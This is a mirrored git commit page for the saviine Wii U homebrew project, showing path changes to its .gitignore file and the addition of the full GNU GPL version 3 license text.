mirror of
https://github.com/Maschell/saviine.git
synced 2024-11-21 22:19:16 +01:00
Made it compatible with the HBL
Support for more firmwares (untested)
This commit is contained in:
parent
6678686014
commit
2b2f1c5004
35
.gitignore
vendored
35
.gitignore
vendored
@ -41,21 +41,20 @@ $RECYCLE.BIN/
|
||||
Network Trash Folder
|
||||
Temporary Items
|
||||
.apdisk
|
||||
saviine/installer/bin/*
|
||||
saviine/client/build/*
|
||||
saviine/server/src/bin/logs/*
|
||||
saviine/server/src/bin/saviine_root/*
|
||||
saviine/server/src/bin/saviine_server.pdb
|
||||
saviine/server/src/bin/saviine_server.vshost.exe.manifest
|
||||
saviine/server/src/obj/x86/Debug/saviine_server.exe
|
||||
saviine/server/src/obj/x86/Debug/saviine_server.pdb
|
||||
saviine/server/src/bin/saviine_server.vshost.exe
|
||||
saviine/server/src/bin/saviine_server.exe.config
|
||||
saviine/server/src/bin/saviine_server.vshost.exe.config
|
||||
saviine/server/src/obj/x86/Debug/DesignTimeResolveAssemblyReferences.cache
|
||||
saviine/server/src/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache
|
||||
saviine/server/src/obj/x86/Debug/saviine_server.csprojResolveAssemblyReference.cache
|
||||
saviine/server/src/obj/x86/Debug/saviine_server.csproj.FileListAbsolute.txt
|
||||
saviine/server/src/obj/x86/Debug/saviine_server.csproj.GenerateResource.Cache
|
||||
saviine/server/src/obj/x86/Debug/saviine_server.Form1.resources
|
||||
saviine/server/src/bin/saviine_server.exe
|
||||
|
||||
server/src/bin/logs/*
|
||||
server/src/bin/saviine_root/*
|
||||
server/src/bin/saviine_server.pdb
|
||||
server/src/bin/saviine_server.vshost.exe.manifest
|
||||
server/src/obj/x86/Debug/saviine_server.exe
|
||||
server/src/obj/x86/Debug/saviine_server.pdb
|
||||
server/src/bin/saviine_server.vshost.exe
|
||||
server/src/bin/saviine_server.exe.config
|
||||
server/src/bin/saviine_server.vshost.exe.config
|
||||
server/src/obj/x86/Debug/DesignTimeResolveAssemblyReferences.cache
|
||||
server/src/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache
|
||||
server/src/obj/x86/Debug/saviine_server.csprojResolveAssemblyReference.cache
|
||||
server/src/obj/x86/Debug/saviine_server.csproj.FileListAbsolute.txt
|
||||
server/src/obj/x86/Debug/saviine_server.csproj.GenerateResource.Cache
|
||||
server/src/obj/x86/Debug/saviine_server.Form1.resources
|
||||
server/src/bin/saviine_server.exe
|
||||
|
674
LICENSE
Normal file
674
LICENSE
Normal file
@ -0,0 +1,674 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
{one line to give the program's name and a brief idea of what it does.}
|
||||
Copyright (C) {year} {name of author}
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
{project} Copyright (C) {year} {fullname}
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
